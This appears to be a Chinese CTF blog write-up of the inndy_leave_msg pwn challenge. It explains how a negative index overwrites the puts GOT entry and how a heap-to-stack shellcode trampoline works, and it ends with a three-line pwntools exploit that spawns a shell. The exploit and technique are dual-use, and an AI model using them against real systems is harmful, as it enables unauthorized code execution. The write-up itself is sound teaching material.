花式shellcode&&inndy_leave_msg

最近做了几个题目,都是要利用写shellcode
shellcode一定要利用好当前的寄存器环境

inndy_leave_msg

inndy_leave_msg

题目分析

保护

在这里插入图片描述
这里的栈和堆都是可以执行的,由于我的内核版本较高,所以看上去堆不可执行
对于高版本内核,execstack只是允许栈可执行,要想让所有data都可以执行,需要利用execall

漏洞

在这里插入图片描述
buf可以用来写shellcode,但无法溢出覆盖返回地址
由于这里有两个回合
dwrod_804a060离got比较近,所以考虑覆盖puts got表地址
strdup会把内容copy到堆里面然后ret堆地址,但这里遇到\x0就不会copy了

攻击

利用思路

大部分shellcode在栈上,需要从堆里面跳到栈上
在这里插入图片描述
\x00前面的shellcode会被copy到堆里面
add esp,0x35刚好把就是下一回合puts的时候的esp挪到\x00\xc3的位置,然后就可以顺利执行
\x00\xc3使add dl,al

exp

sa(b"message:\n", asm("add esp,0x35;jmp esp") + b"\x00\xc3" + asm(shellcraft.sh()))
sa(b"message slot?\n", b" -16")
it()
  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值